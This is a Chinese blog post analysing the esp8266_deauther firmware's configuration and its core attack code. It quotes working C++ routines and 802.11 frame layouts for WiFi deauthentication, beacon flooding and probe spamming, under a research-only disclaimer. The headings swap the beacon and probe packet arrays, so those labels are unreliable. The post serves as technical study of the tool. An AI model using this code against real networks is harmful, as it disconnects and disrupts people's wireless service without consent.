esp8266_deauther第四篇
这一系列的文章仅作技术研究,请遵守相关法律(中华人民共和国网络安全法),请勿使用相关技术来攻击他人!
1 软件配置方法
1.1wifi相关配置
这一部分的配置在wifi.h文件中,这里规定了web文件的位置,已经wifi的配置。比如登陆的ip地址,默认是192.168.4.1,默认的子网掩码是255.255.255.0。
- // Server and other global objects
- ESP8266WebServer server(80);
- DNSServer dnsServer;
- IPAddress apIP(192, 168, 4, 1);
- IPAddress netMsk(255, 255, 255, 0);
- File fsUploadFile;
- // current WiFi mode and config
- uint8_t wifiMode = WIFI_MODE_OFF;
- bool wifi_config_hidden = false;
- bool wifi_config_captivePortal = false;
- String wifi_config_ssid;
- String wifi_config_password;
- String wifi_config_path;
1.2核心配置
这一部分的配置在Setting.h中,比如版本号、攻击超时时间、wifi的channel、SSID、password、是否隐藏SSID、语言等。比如登陆使用的SSID默认为pwned,密码默认为deauther,默认的语言为英语。本来想做一个汉化包进去方便中国爱好者使用,后来发现在V2.1中,已经加入了中文语言包。V2.1web页面支持的语言包括:cn中文、cs捷克语、de德语、en英语、es西班牙语、fi芬兰语、fr法语、it意大利语、ro罗马尼亚语、ru俄语、tlh克林贡语
- bool changed = false;
- String version = VERSION;
- bool beaconChannel = false;
- bool autosave = true;
- bool beaconInterval = false;
- bool cli = true;
- bool displayInterface = USE_DISPLAY;
- bool webInterface = true;
- bool webSpiffs = false;
- bool randomTX = false;
- bool ledEnabled = true;
- bool serialEcho = true;
- uint32_t attackTimeout = 600;
- uint32_t autosaveTime = 10000;
- uint32_t displayTimeout = 600;
- uint16_t deauthsPerTarget = 20;
- uint16_t chTime = 384;
- uint16_t minDeauths = 3;
- uint8_t forcePackets = 1;
- uint8_t channel = 9;
- uint8_t deauthReason = 1;
- uint8_t *macSt;
- uint8_t *macAP;
- uint8_t probesPerSSID = 1;
- String ssid = "pwned";
- String password = "deauther";
- bool hidden = false;
- bool captivePortal = true;
- String lang = "en";
(3)其他配置
其他的配置设及到一些关键的数据结构,这里没有多做研究。
2 网络攻击核心代码解析
2.1 deauth攻击
(1)deauth攻击数据包deauthPacket[26]的结构
- uint8_t deauthPacket[26] = {
- /* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate)
- /* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that)
- /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target)
- /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap)
- /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap)
- /* 22 - 23 */ 0x00, 0x00, // fragment & squence number
- /* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason)
- }
(2)deauth攻击核心代码
- bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
- if (!stMac) return false; // exit when station mac is null
- // Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging
- bool success = false;
- // build deauth packet
- packetSize = sizeof(deauthPacket);
- memcpy(&deauthPacket[4], stMac, 6);
- memcpy(&deauthPacket[10], apMac, 6);
- memcpy(&deauthPacket[16], apMac, 6);
- deauthPacket[24] = reason;
- // send deauth frame
- deauthPacket[0] = 0xc0;
- if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
- success = true;
- deauth.packetCounter++;
- }
- // send disassociate frame
- deauthPacket[0] = 0xa0;
- if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
- success = true;
- deauth.packetCounter++;
- }
- // send another packet, this time from the station to the accesspoint
- if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
- // build deauth packet
- memcpy(&deauthPacket[4], apMac, 6);
- memcpy(&deauthPacket[10], stMac, 6);
- memcpy(&deauthPacket[16], stMac, 6);
- // send deauth frame
- deauthPacket[0] = 0xc0;
- if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
- success = true;
- deauth.packetCounter++;
- }
- // send disassociate frame
- deauthPacket[0] = 0xa0;
- if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
- success = true;
- deauth.packetCounter++;
- }
- }
- if (success) deauth.time = currentTime;
- return success;
- }
2.2 beacon攻击
(1)beacon攻击数据包beaconPacket[68]的结构
- uint8_t probePacket[68] = {
- /* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
- /* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
- /* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
- /* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
- /* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
- /* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
- /* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
- /* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
- 0x20, 0x20, 0x20, 0x20,
- 0x20, 0x20, 0x20, 0x20,
- 0x20, 0x20, 0x20, 0x20,
- 0x20, 0x20, 0x20, 0x20,
- 0x20, 0x20, 0x20, 0x20,
- 0x20, 0x20, 0x20, 0x20,
- 0x20, 0x20, 0x20, 0x20,
- /* 58 - 59 */ 0x01, 0x08, // Tag Number: Supported Rates (1), Tag length: 8
- /* 60 */ 0x82, // 1(B)
- /* 61 */ 0x84, // 2(B)
- /* 62 */ 0x8b, // 5.5(B)
- /* 63 */ 0x96, // 11(B)
- /* 64 */ 0x24, // 18
- /* 65 */ 0x30, // 24
- /* 66 */ 0x48, // 36
- /* 67 */ 0x6c // 54
- }
(2)beacon攻击核心代码
- bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
- packetSize = sizeof(beaconPacket);
- if (wpa2) {
- beaconPacket[34] = 0x31;
- } else {
- beaconPacket[34] = 0x21;
- packetSize -= 26;
- }
- int ssidLen = strlen(ssid);
- if (ssidLen > 32) ssidLen = 32;
- memcpy(&beaconPacket[10], mac, 6);
- memcpy(&beaconPacket[16], mac, 6);
- memcpy(&beaconPacket[38], ssid, ssidLen);
- beaconPacket[82] = ch;
- // =====
- uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size
- uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer
- memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer
- tmpPacket[37] = ssidLen; // update SSID length byte
- memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer
- if (sendPacket(tmpPacket, tmpPacketSize, ch, settings.getForcePackets())) {
- beacon.time = currentTime;
- beacon.packetCounter++;
- delete tmpPacket; // free memory of allocated buffer
- return true;
- } else {
- delete tmpPacket; // free memory of allocated buffer
- return false;
- }
- // =====
- }
2.3 probe攻击
(1)probe攻击数据包probePacket[109]的结构
- uint8_t beaconPacket[109] = {
- /* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
- /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
- /* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
- /* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
- // Fixed parameters
- /* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
- /* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
- /* 32 - 33 */ 0xe8, 0x03, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
- /* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
- // Tagged parameters
- // SSID parameters
- /* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
- /* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
- 0x20, 0x20, 0x20, 0x20,
- 0x20, 0x20, 0x20, 0x20,
- 0x20, 0x20, 0x20, 0x20,
- 0x20, 0x20, 0x20, 0x20,
- 0x20, 0x20, 0x20, 0x20,
- 0x20, 0x20, 0x20, 0x20,
- 0x20, 0x20, 0x20, 0x20, // SSID
- // Supported Rates
- /* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
- /* 72 */ 0x82, // 1(B)
- /* 73 */ 0x84, // 2(B)
- /* 74 */ 0x8b, // 5.5(B)
- /* 75 */ 0x96, // 11(B)
- /* 76 */ 0x24, // 18
- /* 77 */ 0x30, // 24
- /* 78 */ 0x48, // 36
- /* 79 */ 0x6c, // 54
- // Current Channel
- /* 80 - 81 */ 0x03, 0x01, // Channel set, length
- /* 82 */ 0x01, // Current Channel
- // RSN information
- /* 83 - 84 */ 0x30, 0x18,
- /* 85 - 86 */ 0x01, 0x00,
- /* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02,
- /* 91 - 92 */ 0x02, 0x00,
- /* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/
- /* 101 - 102 */ 0x01, 0x00,
- /* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
- /* 107 - 108 */ 0x00, 0x00}
(2)probe攻击核心代码
- bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
- packetSize = sizeof(probePacket);
- int ssidLen = strlen(ssid);
- if (ssidLen > 32) ssidLen = 32;
- memcpy(&probePacket[10], mac, 6);
- memcpy(&probePacket[26], ssid, ssidLen);
- if (sendPacket(probePacket, packetSize, ch, settings.getForcePackets())) {
- probe.time = currentTime;
- probe.packetCounter++;
- return true;
- }
- return false;
- }
esp8266_deauther第四篇相关推荐
- NeurIPS提前看 | 四篇论文,一窥元学习的最新研究进展
2019 年,NeurIPS 接受与元学习相关的研究论文约有 20 余篇.元学习(Meta-Learning)是近几年的研究热点,其目的是基于少量无标签数据实现快速有效的学习.本文对本次接收的元学习论 ...
- spring之旅第四篇-注解配置详解
spring之旅第四篇-注解配置详解 一.引言 最近因为找工作,导致很长时间没有更新,找工作的时候你会明白浪费的时间后面都是要还的,现在的每一点努力,将来也会给你回报的,但行好事,莫问前程!努力总不会 ...
- 深入理解javascript作用域系列第四篇——块作用域
前面的话 尽管函数作用域是最常见的作用域单元,也是现行大多数javascript最普遍的设计方法,但其他类型的作用域单元也是存在的,并且通过使用其他类型的作用域单元甚至可以实现维护起来更加优秀.简洁的 ...
- android 测试工具,Android开源项目第四篇:开发及测试工具篇
本文为那些不错的Android开源项目第四篇--开发工具篇,**主要介绍Android开发工具和测试工具相关的开源项目**. Android开源项目系列汇总已完成,包括: 1.Buck faceboo ...
- Python之路【第十四篇】:AngularJS --暂无内容-待更新
Python之路[第十四篇]:AngularJS --暂无内容-待更新 转载于:https://www.cnblogs.com/weiman3389/p/6224181.html
- 最简单人工智能python_Python人工智能之路 - 第四篇 : jieba gensim 最好别分家之最简单的相似度实现...
简单的问答已经实现了,那么问题也跟着出现了,我不能确定问题一定是"你叫什么名字",也有可能是"你是谁","你叫啥"之类的,这就引出了人工智能 ...
- VULKAN学习笔记-inter教学四篇
VULKAN学习笔记-inter教学四篇 --交换链相关函数:实例层 vkCreateWin32SurfaceKHR vkDestroySurfaceKHR vkGetPhysicalDeviceSu ...
- 【论文相关】盘点AAAI2020中的四篇推荐系统好文
AAAI中推荐系统的文章并不多,目之所及处仅有四篇.内容上覆盖了评论推荐.多目标推荐以及图神经网络等话题. 本文基于AAAI中的这四篇推荐系统论文,展开瞅一瞅它们都讲了些什么. 第一篇文章:可解释评论 ...
- 四篇NeurIPS 2019论文,快手特效中的模型压缩了解一下
在即将过去的 2019 年中,快手西雅图实验室在 ICLR.CVPR.AISTATS.ICML 和 NeurIPS 等顶会上发表了十多篇论文. 除了这些研究方面的成果,针对实际业务,西雅图实验室和快手 ...
- 史上最简单的SpringCloud教程 | 第四篇:断路器(Hystrix)
转:https://blog.csdn.net/forezp/article/details/69934399 最新版本: 史上最简单的SpringCloud教程 | 第四篇:断路器(Hystrix) ...
最新文章
- Android发布项目到外部仓库
- linux 发送邮件
- 在windows中安装python
- 基本套接字总结(@function)
- python查询数据库,打印查询结果过程中出现'NoneType' object is unsubscriptable
- 方立勋_30天掌握JavaWeb_JSTL标签库
- PHP安装之configure的配置参数
- 不同的写法 其中 1 2 (试了下 没有效果 ,先记载这里把)
- python中提供怎样的内置库、可以用来创建用户界面_使用外部GUI库在Autodesk中创建用户界面可能会...
- 前端开发使用的 安卓模拟器_抖音有电脑版或者网页版吗?如何在电脑上使用抖音?...
- Asp.Net Mvc4分页,扩展HtmlHelper类
- GDT、LDT、IDTR、TR
- php调用pdf虚拟打印机,电脑中怎么安装pdf虚拟打印机
- CRMEB制作docker-compose
- 级联样式单与CSS选择器
- 色彩缤纷的python(改变字体颜色及样式)不是我写的
- BH1750FVI光强度传感器及其STM32驱动程序
- com lofter android,LOFTER
- 详解Python中的文本处理
- 程序员和黑客的十大本质区别
热门文章
- 软件工程专业就业方向职业规划
- min 和 s.t. 是什么意思
- 【css】css实现图片或动图边缘模糊化处理(附示例代码)
- 美团点评运营数据产品化实战
- 在Linux命令行中操作PDF
- 80后一代开始结婚 独生子女开始承担新的责任
- 大一计算机专业学期计划范文,【大一学习计划22篇】_大一学习计划范文大全_2021年大一学习计划_东城教研...
- 计算机网络(第7版 谢希仁)第四章课后习题答案
- reflections歌词翻译_Reflections歌词
- 前端vue实现图片压缩并且将其转换为jpg格式图片;前端转换图片格式;前端使用js转换图片格式;前端使用canvas将png格式图片转成jpg格式